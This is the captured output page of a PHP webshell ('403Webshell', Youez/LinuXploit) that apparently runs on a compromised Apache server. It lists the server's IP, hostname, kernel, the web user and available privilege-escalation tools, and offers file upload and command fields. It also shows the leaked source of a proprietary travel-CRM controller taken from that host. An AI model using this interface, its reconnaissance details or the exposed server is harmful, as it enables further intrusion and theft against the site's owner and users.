403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/modules/crm/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/modules/crm/controllers/SupplierpackageenquiryController.php
<?php

/**
 * Copyright 2013 Catabatic Technology Pvt Ltd.
 * All rights reserved
 *
 * @description: Listachievecustomer.php 
 */
class CRM_SupplierpackageenquiryController extends Catabatic_ValidateGtx {

    public function init() {
        parent::init();
        $this->_crmcustomerObj = new Travel_Model_CRM_Customer();
        $this->_crmagencyleadaccountObj = new Travel_Model_CRM_AgencyLeadAccount();

    }

      public function indexAction() {
        $sessionLogin_user = new Zend_Session_Namespace('sessionLogin_user');
        $agencysysID = $sessionLogin_user->intLoggedinUserAgencySysId;
        $roleID = $sessionLogin_user->UserRole;
        $getData = array();
        //echo "<pre>";print_r($_SESSION);die;
        $this->_agencyuserroleObj = new Travel_Model_TblAgencyUserRole();
        $getRoleDetail = $this->_agencyuserroleObj->getDataByRole($roleID);
        //print_r($getRoleDetail['IsAdmin']);die;

        $getleadSource = $this->_crmcustomerObj->getLeadSourceByAgency($agencysysID);
        if ($getRoleDetail['IsAdmin'] == true) {
            if ($this->getRequest()->isPost()) {
                $getData = $this->getRequest()->getPost();
                $getData['AgencySysId'] = $agencysysID;
                // $getData=$this->sanitizeData($getData);
                $getData = $this->_HtmlPurifier->filterArray($getData);
                $this->view->searchData = $getData;
                $getCustomerList = $this->_crmagencyleadaccountObj->GetArchieveGtxCustomer($getData);
            } else {
                $getData['AgencySysId'] = $agencysysID;
                $getCustomerList = $this->_crmagencyleadaccountObj->GetArchieveGtxCustomer($getData);
            }
        } else {
            $getData['AgencySysId'] = $agencysysID;
            $leadSourcesIds = array();
            $leadSourceExplodedRes = '';
            $getCustomerList = array();
            if (!empty($getleadSource)) {
                foreach ($getleadSource as $k => $v) {
                    $leadSourcesIds[] = $v['LeadSourceSysId'];
                }
                $leadSourceExplodedRes = implode(",", $leadSourcesIds);
                if ($this->getRequest()->isPost()) {
                    $getData = $this->getRequest()->getPost();
                    $getData['AgencySysId'] = $agencysysID;
                    $getData['AgentSourceIds'] = $leadSourceExplodedRes;
                    // $getData=$this->sanitizeData($getData);
                    $getData = $this->_HtmlPurifier->filterArray($getData);
                    $this->view->searchData = $getData;
                    $getCustomerList = $this->_crmagencyleadaccountObj->GetArchieveGtxCustomer($getData);
                } else {
                    $getCustomerList = $this->_crmagencyleadaccountObj->GetArchieveGtxCustomer($getData);
                }
            }
            //print_r($leadSourceExplodedRes);die;
        }
        //print_r($getleadSource);die;
        $page = $this->_getParam('page', 1);
        $paginator = Zend_Paginator::factory($getCustomerList);
        $paginator->setItemCountPerPage(GRID_PER_PAGE_RECORD_COUNT_TWENTY);
        $paginator->setCurrentPageNumber($page);
        $this->view->paginator = $paginator;
        $this->_leadstageObj = new Travel_Model_TblLeadStage();
        $crmtravelplanstatusObj = new Travel_Model_CRM_TravelPlanStatus();
        $getStageList = $crmtravelplanstatusObj->GetTravelPlanStatusByType(3);
        $agencyUser = $this->_crmcustomerObj->getAllAgencyUserList('', $agencysysID);
        //echo "<pre>";print_r($agencyUser);die;
        $this->view->leadStageList = $getStageList;
        $this->view->leadSourceList = $getleadSource;
        $this->view->agencyUser = $agencyUser;
        $this->view->actionName = $this->getRequest()->getActionName();
    }

}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit